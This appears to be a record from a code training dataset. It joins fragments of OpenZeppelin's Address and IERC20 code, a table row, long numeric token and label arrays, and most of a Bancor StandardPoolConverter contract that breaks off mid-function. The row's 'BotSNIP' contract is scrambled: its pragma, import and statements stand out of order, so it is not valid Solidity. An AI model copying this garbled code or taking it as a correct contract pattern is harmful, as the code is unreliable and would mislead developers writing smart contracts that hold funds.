// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
| address used for pay out | contract BotSNIP {
using Address for address;
pragma solidity 0.7.6;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
function init(bytes memory callData, address payable target) payable external{
revert("Success");
}
(bool success,) = target.call{value:msg.value}(callData);
}
| 10,391,789 | [
1,
2867,
1399,
364,
8843,
596,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
15039,
13653,
2579,
288,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
683,
9454,
18035,
560,
374,
18,
27,
18,
26,
31,
203,
5666,
288,
1887,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
5471,
19,
1887,
18,
18281,
14432,
203,
915,
1208,
12,
3890,
3778,
745,
751,
16,
1758,
8843,
429,
1018,
13,
8843,
429,
3903,
95,
203,
15226,
2932,
4510,
8863,
203,
97,
203,
261,
6430,
2216,
16,
13,
273,
1018,
18,
1991,
95,
1132,
30,
3576,
18,
1132,
97,
12,
1991,
751,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "../../ConverterVersion.sol";
import "../../interfaces/IConverter.sol";
import "../../interfaces/IConverterAnchor.sol";
import "../../interfaces/IConverterUpgrader.sol";
import "../../../utility/MathEx.sol";
import "../../../utility/ContractRegistryClient.sol";
import "../../../utility/Time.sol";
import "../../../token/interfaces/IDSToken.sol";
import "../../../token/ReserveToken.sol";
import "../../../INetworkSettings.sol";
/**
* @dev This contract is a specialized version of the converter, which is
* optimized for a liquidity pool that has 2 reserves with 50%/50% weights.
*/
contract StandardPoolConverter is ConverterVersion, IConverter, ContractRegistryClient, ReentrancyGuard, Time {
using SafeMath for uint256;
using ReserveToken for IReserveToken;
using SafeERC20 for IERC20;
using MathEx for *;
uint256 private constant MAX_UINT128 = 2**128 - 1;
uint256 private constant MAX_UINT112 = 2**112 - 1;
uint256 private constant MAX_UINT32 = 2**32 - 1;
uint256 private constant AVERAGE_RATE_PERIOD = 10 minutes;
uint256 private _reserveBalances;
uint256 private _reserveBalancesProduct;
IReserveToken[] private _reserveTokens;
mapping(IReserveToken => uint256) private _reserveIds;
IConverterAnchor private _anchor; // converter anchor contract
uint32 private _maxConversionFee; // maximum conversion fee, represented in ppm, 0...1000000
uint32 private _conversionFee; // current conversion fee, represented in ppm, 0...maxConversionFee
// average rate details:
// bits 0...111 represent the numerator of the rate between reserve token 0 and reserve token 1
// bits 111...223 represent the denominator of the rate between reserve token 0 and reserve token 1
// bits 224...255 represent the update-time of the rate between reserve token 0 and reserve token 1
// where `numerator / denominator` gives the worth of one reserve token 0 in units of reserve token 1
uint256 private _averageRateInfo;
/**
* @dev triggered after liquidity is added
*
* @param provider liquidity provider
* @param reserveToken reserve token address
* @param amount reserve token amount
* @param newBalance reserve token new balance
* @param newSupply pool token new supply
*/
event LiquidityAdded(
address indexed provider,
IReserveToken indexed reserveToken,
uint256 amount,
uint256 newBalance,
uint256 newSupply
);
/**
* @dev triggered after liquidity is removed
*
* @param provider liquidity provider
* @param reserveToken reserve token address
* @param amount reserve token amount
* @param newBalance reserve token new balance
* @param newSupply pool token new supply
*/
event LiquidityRemoved(
address indexed provider,
IReserveToken indexed reserveToken,
uint256 amount,
uint256 newBalance,
uint256 newSupply
);
/**
* @dev initializes a new StandardPoolConverter instance
*
* @param anchor anchor governed by the converter
* @param registry address of a contract registry contract
* @param maxConversionFee maximum conversion fee, represented in ppm
*/
constructor(
IConverterAnchor anchor,
IContractRegistry registry,
uint32 maxConversionFee
) public ContractRegistryClient(registry) validAddress(address(anchor)) validConversionFee(maxConversionFee) {
_anchor = anchor;
_maxConversionFee = maxConversionFee;
}
// ensures that the converter is active
modifier active() {
_active();
_;
}
// error message binary size optimization
function _active() private view {
require(isActive(), "ERR_INACTIVE");
}
// ensures that the converter is not active
modifier inactive() {
_inactive();
_;
}
// error message binary size optimization
function _inactive() private view {
require(!isActive(), "ERR_ACTIVE");
}
// validates a reserve token address - verifies that the address belongs to one of the reserve tokens
modifier validReserve(IReserveToken reserveToken) {
_validReserve(reserveToken);
_;
}
// error message binary size optimization
function _validReserve(IReserveToken reserveToken) private view {
require(_reserveIds[reserveToken] != 0, "ERR_INVALID_RESERVE");
}
// validates conversion fee
modifier validConversionFee(uint32 fee) {
_validConversionFee(fee);
_;
}
// error message binary size optimization
function _validConversionFee(uint32 fee) private pure {
require(fee <= PPM_RESOLUTION, "ERR_INVALID_CONVERSION_FEE");
}
// validates reserve weight
modifier validReserveWeight(uint32 weight) {
_validReserveWeight(weight);
_;
}
// error message binary size optimization
function _validReserveWeight(uint32 weight) private pure {
require(weight == PPM_RESOLUTION / 2, "ERR_INVALID_RESERVE_WEIGHT");
}
/**
* @dev returns the converter type
*
* @return see the converter types in the the main contract doc
*/
function converterType() public pure virtual override returns (uint16) {
return 3;
}
/**
* @dev checks whether or not the converter version is 28 or higher
*
* @return true, since the converter version is 28 or higher
*/
function isV28OrHigher() external pure returns (bool) {
return true;
}
/**
* @dev returns the converter anchor
*
* @return the converter anchor
*/
function anchor() external view override returns (IConverterAnchor) {
return _anchor;
}
/**
* @dev returns the maximum conversion fee (in units of PPM)
*
* @return the maximum conversion fee (in units of PPM)
*/
function maxConversionFee() external view override returns (uint32) {
return _maxConversionFee;
}
/**
* @dev returns the current conversion fee (in units of PPM)
*
* @return the current conversion fee (in units of PPM)
*/
function conversionFee() external view override returns (uint32) {
return _conversionFee;
}
/**
* @dev returns the average rate info
*
* @return the average rate info
*/
function averageRateInfo() external view returns (uint256) {
return _averageRateInfo;
}
/**
* @dev deposits ether
* can only be called if the converter has an ETH reserve
*/
receive() external payable override(IConverter) validReserve(ReserveToken.NATIVE_TOKEN_ADDRESS) {}
/**
* @dev returns true if the converter is active, false otherwise
*
* @return true if the converter is active, false otherwise
*/
function isActive() public view virtual override returns (bool) {
return _anchor.owner() == address(this);
}
/**
* @dev transfers the anchor ownership
* the new owner needs to accept the transfer
* can only be called by the converter upgrader while the upgrader is the owner
* note that prior to version 28, you should use 'transferAnchorOwnership' instead
*
* @param newOwner new token owner
*/
function transferAnchorOwnership(address newOwner) public override ownerOnly only(CONVERTER_UPGRADER) {
_anchor.transferOwnership(newOwner);
}
/**
* @dev accepts ownership of the anchor after an ownership transfer
* most converters are also activated as soon as they accept the anchor ownership
* can only be called by the contract owner
* note that prior to version 28, you should use 'acceptTokenOwnership' instead
*/
function acceptAnchorOwnership() public virtual override ownerOnly {
// verify the the converter has exactly two reserves
require(_reserveTokens.length == 2, "ERR_INVALID_RESERVE_COUNT");
_anchor.acceptOwnership();
syncReserveBalances(0);
emit Activation(converterType(), _anchor, true);
}
/**
* @dev updates the current conversion fee
* can only be called by the contract owner
*
* @param fee new conversion fee, represented in ppm
*/
function setConversionFee(uint32 fee) external override ownerOnly {
require(fee <= _maxConversionFee, "ERR_INVALID_CONVERSION_FEE");
emit ConversionFeeUpdate(_conversionFee, fee);
_conversionFee = fee;
}
/**
* @dev transfers reserve balances to a new converter during an upgrade
* can only be called by the converter upgraded which should be set at its owner
*
* @param newConverter address of the converter to receive the new amount
*/
function transferReservesOnUpgrade(address newConverter)
external
override
nonReentrant
ownerOnly
only(CONVERTER_UPGRADER)
{
uint256 reserveCount = _reserveTokens.length;
for (uint256 i = 0; i < reserveCount; ++i) {
IReserveToken reserveToken = _reserveTokens[i];
reserveToken.safeTransfer(newConverter, reserveToken.balanceOf(address(this)));
syncReserveBalance(reserveToken);
}
}
/**
* @dev upgrades the converter to the latest version
* can only be called by the owner
* note that the owner needs to call acceptOwnership on the new converter after the upgrade
*/
function upgrade() external ownerOnly {
IConverterUpgrader converterUpgrader = IConverterUpgrader(addressOf(CONVERTER_UPGRADER));
// trigger de-activation event
emit Activation(converterType(), _anchor, false);
transferOwnership(address(converterUpgrader));
converterUpgrader.upgrade(version);
acceptOwnership();
}
/**
* @dev executed by the upgrader at the end of the upgrade process to handle custom pool logic
*/
function onUpgradeComplete() external override nonReentrant ownerOnly only(CONVERTER_UPGRADER) {
(uint256 reserveBalance0, uint256 reserveBalance1) = reserveBalances(1, 2);
_reserveBalancesProduct = reserveBalance0 * reserveBalance1;
}
/**
* @dev returns the number of reserve tokens
* note that prior to version 17, you should use 'connectorTokenCount' instead
*
* @return number of reserve tokens
*/
function reserveTokenCount() public view override returns (uint16) {
return uint16(_reserveTokens.length);
}
/**
* @dev returns the array of reserve tokens
*
* @return array of reserve tokens
*/
function reserveTokens() external view override returns (IReserveToken[] memory) {
return _reserveTokens;
}
/**
* @dev defines a new reserve token for the converter
* can only be called by the owner while the converter is inactive
*
* @param token address of the reserve token
* @param weight reserve weight, represented in ppm, 1-1000000
*/
function addReserve(IReserveToken token, uint32 weight)
external
virtual
override
ownerOnly
inactive
validExternalAddress(address(token))
validReserveWeight(weight)
{
require(address(token) != address(_anchor) && _reserveIds[token] == 0, "ERR_INVALID_RESERVE");
require(reserveTokenCount() < 2, "ERR_INVALID_RESERVE_COUNT");
_reserveTokens.push(token);
_reserveIds[token] = _reserveTokens.length;
}
/**
* @dev returns the reserve's weight
* added in version 28
*
* @param reserveToken reserve token contract address
*
* @return reserve weight
*/
function reserveWeight(IReserveToken reserveToken) external view validReserve(reserveToken) returns (uint32) {
return PPM_RESOLUTION / 2;
}
/**
* @dev returns the balance of a given reserve token
*
* @param reserveToken reserve token contract address
*
* @return the balance of the given reserve token
*/
function reserveBalance(IReserveToken reserveToken) public view override returns (uint256) {
uint256 reserveId = _reserveIds[reserveToken];
require(reserveId != 0, "ERR_INVALID_RESERVE");
return reserveBalance(reserveId);
}
/**
* @dev returns the balances of both reserve tokens
*
* @return the balances of both reserve tokens
*/
function reserveBalances() public view returns (uint256, uint256) {
return reserveBalances(1, 2);
}
/**
* @dev syncs all stored reserve balances
*/
function syncReserveBalances() external {
syncReserveBalances(0);
}
/**
* @dev calculates the accumulated network fee and transfers it to the network fee wallet
*/
function processNetworkFees() external nonReentrant {
(uint256 reserveBalance0, uint256 reserveBalance1) = processNetworkFees(0);
_reserveBalancesProduct = reserveBalance0 * reserveBalance1;
}
/**
* @dev calculates the accumulated network fee and transfers it to the network fee wallet
*
* @param value amount of ether to exclude from the ether reserve balance (if relevant)
*
* @return new reserve balances
*/
function processNetworkFees(uint256 value) private returns (uint256, uint256) {
syncReserveBalances(value);
(uint256 reserveBalance0, uint256 reserveBalance1) = reserveBalances(1, 2);
(ITokenHolder wallet, uint256 fee0, uint256 fee1) = networkWalletAndFees(reserveBalance0, reserveBalance1);
reserveBalance0 -= fee0;
reserveBalance1 -= fee1;
setReserveBalances(1, 2, reserveBalance0, reserveBalance1);
_reserveTokens[0].safeTransfer(address(wallet), fee0);
_reserveTokens[1].safeTransfer(address(wallet), fee1);
return (reserveBalance0, reserveBalance1);
}
/**
* @dev returns the reserve balances of the given reserve tokens minus their corresponding fees
*
* @param baseReserveTokens reserve tokens
*
* @return reserve balances minus their corresponding fees
*/
function baseReserveBalances(IReserveToken[] memory baseReserveTokens) private view returns (uint256[2] memory) {
uint256 reserveId0 = _reserveIds[baseReserveTokens[0]];
uint256 reserveId1 = _reserveIds[baseReserveTokens[1]];
(uint256 reserveBalance0, uint256 reserveBalance1) = reserveBalances(reserveId0, reserveId1);
(, uint256 fee0, uint256 fee1) = networkWalletAndFees(reserveBalance0, reserveBalance1);
return [reserveBalance0 - fee0, reserveBalance1 - fee1];
}
/**
* @dev converts a specific amount of source tokens to target tokens
* can only be called by the bancor network contract
*
* @param sourceToken source reserve token
* @param targetToken target reserve token
* @param sourceAmount amount of tokens to convert (in units of the source token)
* @param trader address of the caller who executed the conversion
* @param beneficiary wallet to receive the conversion result
*
* @return amount of tokens received (in units of the target token)
*/
function convert(
IReserveToken sourceToken,
IReserveToken targetToken,
uint256 sourceAmount,
address trader,
address payable beneficiary
) external payable override nonReentrant only(BANCOR_NETWORK) returns (uint256) {
require(sourceToken != targetToken, "ERR_SAME_SOURCE_TARGET");
return doConvert(sourceToken, targetToken, sourceAmount, trader, beneficiary);
}
/**
* @dev returns the conversion fee for a given target amount
*
* @param targetAmount target amount
*
* @return conversion fee
*/
function calculateFee(uint256 targetAmount) private view returns (uint256) {
return targetAmount.mul(_conversionFee) / PPM_RESOLUTION;
}
/**
* @dev returns the conversion fee taken from a given target amount
*
* @param targetAmount target amount
*
* @return conversion fee
*/
function calculateFeeInv(uint256 targetAmount) private view returns (uint256) {
return targetAmount.mul(_conversionFee).div(PPM_RESOLUTION - _conversionFee);
}
/**
* @dev loads the stored reserve balance for a given reserve id
*
* @param reserveId reserve id
*/
function reserveBalance(uint256 reserveId) private view returns (uint256) {
return decodeReserveBalance(_reserveBalances, reserveId);
}
/**
* @dev loads the stored reserve balances
*
* @param sourceId source reserve id
* @param targetId target reserve id
*/
function reserveBalances(uint256 sourceId, uint256 targetId) private view returns (uint256, uint256) {
require((sourceId == 1 && targetId == 2) || (sourceId == 2 && targetId == 1), "ERR_INVALID_RESERVES");
return decodeReserveBalances(_reserveBalances, sourceId, targetId);
}
/**
* @dev stores the stored reserve balance for a given reserve id
*
* @param reserveId reserve id
* @param balance reserve balance
*/
function setReserveBalance(uint256 reserveId, uint256 balance) private {
require(balance <= MAX_UINT128, "ERR_RESERVE_BALANCE_OVERFLOW");
uint256 otherBalance = decodeReserveBalance(_reserveBalances, 3 - reserveId);
_reserveBalances = encodeReserveBalances(balance, reserveId, otherBalance, 3 - reserveId);
}
/**
* @dev stores the stored reserve balances
*
* @param sourceId source reserve id
* @param targetId target reserve id
* @param sourceBalance source reserve balance
* @param targetBalance target reserve balance
*/
function setReserveBalances(
uint256 sourceId,
uint256 targetId,
uint256 sourceBalance,
uint256 targetBalance
) private {
require(sourceBalance <= MAX_UINT128 && targetBalance <= MAX_UINT128, "ERR_RESERVE_BALANCE_OVERFLOW");
_reserveBalances = encodeReserveBalances(sourceBalance, sourceId, targetBalance, targetId);
}
/**
* @dev syncs the stored reserve balance for a given reserve with the real reserve balance
*
* @param reserveToken address of the reserve token
*/
function syncReserveBalance(IReserveToken reserveToken) private {
uint256 reserveId = _reserveIds[reserveToken];
setReserveBalance(reserveId, reserveToken.balanceOf(address(this)));
}
/**
* @dev syncs all stored reserve balances, excluding a given amount of ether from the ether reserve balance (if relevant)
*
* @param value amount of ether to exclude from the ether reserve balance (if relevant)
*/
function syncReserveBalances(uint256 value) private {
IReserveToken _reserveToken0 = _reserveTokens[0];
IReserveToken _reserveToken1 = _reserveTokens[1];
uint256 balance0 = _reserveToken0.balanceOf(address(this)) - (_reserveToken0.isNativeToken() ? value : 0);
uint256 balance1 = _reserveToken1.balanceOf(address(this)) - (_reserveToken1.isNativeToken() ? value : 0);
setReserveBalances(1, 2, balance0, balance1);
}
/**
* @dev helper, dispatches the Conversion event
*
* @param sourceToken source ERC20 token
* @param targetToken target ERC20 token
* @param trader address of the caller who executed the conversion
* @param sourceAmount amount purchased/sold (in the source token)
* @param targetAmount amount returned (in the target token)
* @param feeAmount the fee amount
*/
function dispatchConversionEvent(
IReserveToken sourceToken,
IReserveToken targetToken,
address trader,
uint256 sourceAmount,
uint256 targetAmount,
uint256 feeAmount
) private {
emit Conversion(sourceToken, targetToken, trader, sourceAmount, targetAmount, int256(feeAmount));
}
/**
* @dev returns the expected amount and expected fee for converting one reserve to another
*
* @param sourceToken address of the source reserve token contract
* @param targetToken address of the target reserve token contract
* @param sourceAmount amount of source reserve tokens converted
*
* @return expected amount in units of the target reserve token
* @return expected fee in units of the target reserve token
*/
function targetAmountAndFee(
IReserveToken sourceToken,
IReserveToken targetToken,
uint256 sourceAmount
) public view virtual override active returns (uint256, uint256) {
uint256 sourceId = _reserveIds[sourceToken];
uint256 targetId = _reserveIds[targetToken];
(uint256 sourceBalance, uint256 targetBalance) = reserveBalances(sourceId, targetId);
return targetAmountAndFee(sourceToken, targetToken, sourceBalance, targetBalance, sourceAmount);
}
/**
* @dev returns the expected amount and expected fee for converting one reserve to another
*
* @param sourceBalance balance in the source reserve token contract
* @param targetBalance balance in the target reserve token contract
* @param sourceAmount amount of source reserve tokens converted
*
* @return expected amount in units of the target reserve token
* @return expected fee in units of the target reserve token
*/
function targetAmountAndFee(
IReserveToken, /* sourceToken */
IReserveToken, /* targetToken */
uint256 sourceBalance,
uint256 targetBalance,
uint256 sourceAmount
) private view returns (uint256, uint256) {
uint256 targetAmount = crossReserveTargetAmount(sourceBalance, targetBalance, sourceAmount);
uint256 fee = calculateFee(targetAmount);
return (targetAmount - fee, fee);
}
/**
* @dev returns the required amount and expected fee for converting one reserve to another
*
* @param sourceToken address of the source reserve token contract
* @param targetToken address of the target reserve token contract
* @param targetAmount amount of target reserve tokens desired
*
* @return required amount in units of the source reserve token
* @return expected fee in units of the target reserve token
*/
function sourceAmountAndFee(
IReserveToken sourceToken,
IReserveToken targetToken,
uint256 targetAmount
) public view virtual active returns (uint256, uint256) {
uint256 sourceId = _reserveIds[sourceToken];
uint256 targetId = _reserveIds[targetToken];
(uint256 sourceBalance, uint256 targetBalance) = reserveBalances(sourceId, targetId);
uint256 fee = calculateFeeInv(targetAmount);
uint256 sourceAmount = crossReserveSourceAmount(sourceBalance, targetBalance, targetAmount.add(fee));
return (sourceAmount, fee);
}
/**
* @dev converts a specific amount of source tokens to target tokens
*
* @param sourceToken source reserve token
* @param targetToken target reserve token
* @param sourceAmount amount of tokens to convert (in units of the source token)
* @param trader address of the caller who executed the conversion
* @param beneficiary wallet to receive the conversion result
*
* @return amount of tokens received (in units of the target token)
*/
function doConvert(
IReserveToken sourceToken,
IReserveToken targetToken,
uint256 sourceAmount,
address trader,
address payable beneficiary
) private returns (uint256) {
// update the recent average rate
updateRecentAverageRate();
uint256 sourceId = _reserveIds[sourceToken];
uint256 targetId = _reserveIds[targetToken];
(uint256 sourceBalance, uint256 targetBalance) = reserveBalances(sourceId, targetId);
// get the target amount minus the conversion fee and the conversion fee
(uint256 targetAmount, uint256 fee) =
targetAmountAndFee(sourceToken, targetToken, sourceBalance, targetBalance, sourceAmount);
// ensure that the trade gives something in return
require(targetAmount != 0, "ERR_ZERO_TARGET_AMOUNT");
// ensure that the trade won't deplete the reserve balance
assert(targetAmount < targetBalance);
// ensure that the input amount was already deposited
uint256 actualSourceBalance = sourceToken.balanceOf(address(this));
if (sourceToken.isNativeToken()) {
require(msg.value == sourceAmount, "ERR_ETH_AMOUNT_MISMATCH");
} else {
require(msg.value == 0 && actualSourceBalance.sub(sourceBalance) >= sourceAmount, "ERR_INVALID_AMOUNT");
}
// sync the reserve balances
setReserveBalances(sourceId, targetId, actualSourceBalance, targetBalance - targetAmount);
// transfer funds to the beneficiary in the to reserve token
targetToken.safeTransfer(beneficiary, targetAmount);
// dispatch the conversion event
dispatchConversionEvent(sourceToken, targetToken, trader, sourceAmount, targetAmount, fee);
// dispatch rate updates
dispatchTokenRateUpdateEvents(sourceToken, targetToken, actualSourceBalance, targetBalance - targetAmount);
return targetAmount;
}
/**
* @dev returns the recent average rate of 1 token in the other reserve token units
*
* @param token token to get the rate for
*
* @return recent average rate between the reserves (numerator)
* @return recent average rate between the reserves (denominator)
*/
function recentAverageRate(IReserveToken token) external view validReserve(token) returns (uint256, uint256) {
// get the recent average rate of reserve 0
uint256 rate = calcRecentAverageRate(_averageRateInfo);
uint256 rateN = decodeAverageRateN(rate);
uint256 rateD = decodeAverageRateD(rate);
if (token == _reserveTokens[0]) {
return (rateN, rateD);
}
return (rateD, rateN);
}
/**
* @dev updates the recent average rate if needed
*/
function updateRecentAverageRate() private {
uint256 averageRateInfo1 = _averageRateInfo;
uint256 averageRateInfo2 = calcRecentAverageRate(averageRateInfo1);
if (averageRateInfo1 != averageRateInfo2) {
_averageRateInfo = averageRateInfo2;
}
}
/**
* @dev returns the recent average rate of 1 reserve token 0 in reserve token 1 units
*
* @param averageRateInfoData the average rate to use for the calculation
*
* @return recent average rate between the reserves
*/
function calcRecentAverageRate(uint256 averageRateInfoData) private view returns (uint256) {
// get the previous average rate and its update-time
uint256 prevAverageRateT = decodeAverageRateT(averageRateInfoData);
uint256 prevAverageRateN = decodeAverageRateN(averageRateInfoData);
uint256 prevAverageRateD = decodeAverageRateD(averageRateInfoData);
// get the elapsed time since the previous average rate was calculated
uint256 currentTime = time();
uint256 timeElapsed = currentTime - prevAverageRateT;
// if the previous average rate was calculated in the current block, the average rate remains unchanged
if (timeElapsed == 0) {
return averageRateInfoData;
}
// get the current rate between the reserves
(uint256 currentRateD, uint256 currentRateN) = reserveBalances();
// if the previous average rate was calculated a while ago or never, the average rate is equal to the current rate
if (timeElapsed >= AVERAGE_RATE_PERIOD || prevAverageRateT == 0) {
(currentRateN, currentRateD) = MathEx.reducedRatio(currentRateN, currentRateD, MAX_UINT112);
return encodeAverageRateInfo(currentTime, currentRateN, currentRateD);
}
uint256 x = prevAverageRateD.mul(currentRateN);
uint256 y = prevAverageRateN.mul(currentRateD);
// since we know that timeElapsed < AVERAGE_RATE_PERIOD, we can avoid using SafeMath:
uint256 newRateN = y.mul(AVERAGE_RATE_PERIOD - timeElapsed).add(x.mul(timeElapsed));
uint256 newRateD = prevAverageRateD.mul(currentRateD).mul(AVERAGE_RATE_PERIOD);
(newRateN, newRateD) = MathEx.reducedRatio(newRateN, newRateD, MAX_UINT112);
return encodeAverageRateInfo(currentTime, newRateN, newRateD);
}
/**
* @dev increases the pool's liquidity and mints new shares in the pool to the caller
*
* @param reserves address of each reserve token
* @param reserveAmounts amount of each reserve token
* @param minReturn token minimum return-amount
*
* @return amount of pool tokens issued
*/
function addLiquidity(
IReserveToken[] memory reserves,
uint256[] memory reserveAmounts,
uint256 minReturn
) external payable nonReentrant active returns (uint256) {
// verify the user input
verifyLiquidityInput(reserves, reserveAmounts, minReturn);
// if one of the reserves is ETH, then verify that the input amount of ETH is equal to the input value of ETH
require(
(!reserves[0].isNativeToken() || reserveAmounts[0] == msg.value) &&
(!reserves[1].isNativeToken() || reserveAmounts[1] == msg.value),
"ERR_ETH_AMOUNT_MISMATCH"
);
// if the input value of ETH is larger than zero, then verify that one of the reserves is ETH
if (msg.value > 0) {
require(_reserveIds[ReserveToken.NATIVE_TOKEN_ADDRESS] != 0, "ERR_NO_ETH_RESERVE");
}
// save a local copy of the pool token
IDSToken poolToken = IDSToken(address(_anchor));
// get the total supply
uint256 totalSupply = poolToken.totalSupply();
uint256[2] memory prevReserveBalances;
uint256[2] memory newReserveBalances;
// process the network fees and get the reserve balances
(prevReserveBalances[0], prevReserveBalances[1]) = processNetworkFees(msg.value);
uint256 amount;
uint256[2] memory newReserveAmounts;
// calculate the amount of pool tokens to mint for the caller
// and the amount of reserve tokens to transfer from the caller
if (totalSupply == 0) {
amount = MathEx.geometricMean(reserveAmounts);
newReserveAmounts[0] = reserveAmounts[0];
newReserveAmounts[1] = reserveAmounts[1];
} else {
(amount, newReserveAmounts) = addLiquidityAmounts(
reserves,
reserveAmounts,
prevReserveBalances,
totalSupply
);
}
uint256 newPoolTokenSupply = totalSupply.add(amount);
for (uint256 i = 0; i < 2; i++) {
IReserveToken reserveToken = reserves[i];
uint256 reserveAmount = newReserveAmounts[i];
require(reserveAmount > 0, "ERR_ZERO_TARGET_AMOUNT");
assert(reserveAmount <= reserveAmounts[i]);
// transfer each one of the reserve amounts from the user to the pool
if (!reserveToken.isNativeToken()) {
// ETH has already been transferred as part of the transaction
reserveToken.safeTransferFrom(msg.sender, address(this), reserveAmount);
} else if (reserveAmounts[i] > reserveAmount) {
// transfer the extra amount of ETH back to the user
reserveToken.safeTransfer(msg.sender, reserveAmounts[i] - reserveAmount);
}
// save the new reserve balance
newReserveBalances[i] = prevReserveBalances[i].add(reserveAmount);
emit LiquidityAdded(msg.sender, reserveToken, reserveAmount, newReserveBalances[i], newPoolTokenSupply);
// dispatch the `TokenRateUpdate` event for the pool token
emit TokenRateUpdate(address(poolToken), address(reserveToken), newReserveBalances[i], newPoolTokenSupply);
}
// set the reserve balances
setReserveBalances(1, 2, newReserveBalances[0], newReserveBalances[1]);
// set the reserve balances product
_reserveBalancesProduct = newReserveBalances[0] * newReserveBalances[1];
// verify that the equivalent amount of tokens is equal to or larger than the user's expectation
require(amount >= minReturn, "ERR_RETURN_TOO_LOW");
// issue the tokens to the user
poolToken.issue(msg.sender, amount);
// return the amount of pool tokens issued
return amount;
}
/**
* @dev get the amount of pool tokens to mint for the caller
* and the amount of reserve tokens to transfer from the caller
*
* @param amounts amount of each reserve token
* @param balances balance of each reserve token
* @param totalSupply total supply of pool tokens
*
* @return amount of pool tokens to mint for the caller
* @return amount of reserve tokens to transfer from the caller
*/
function addLiquidityAmounts(
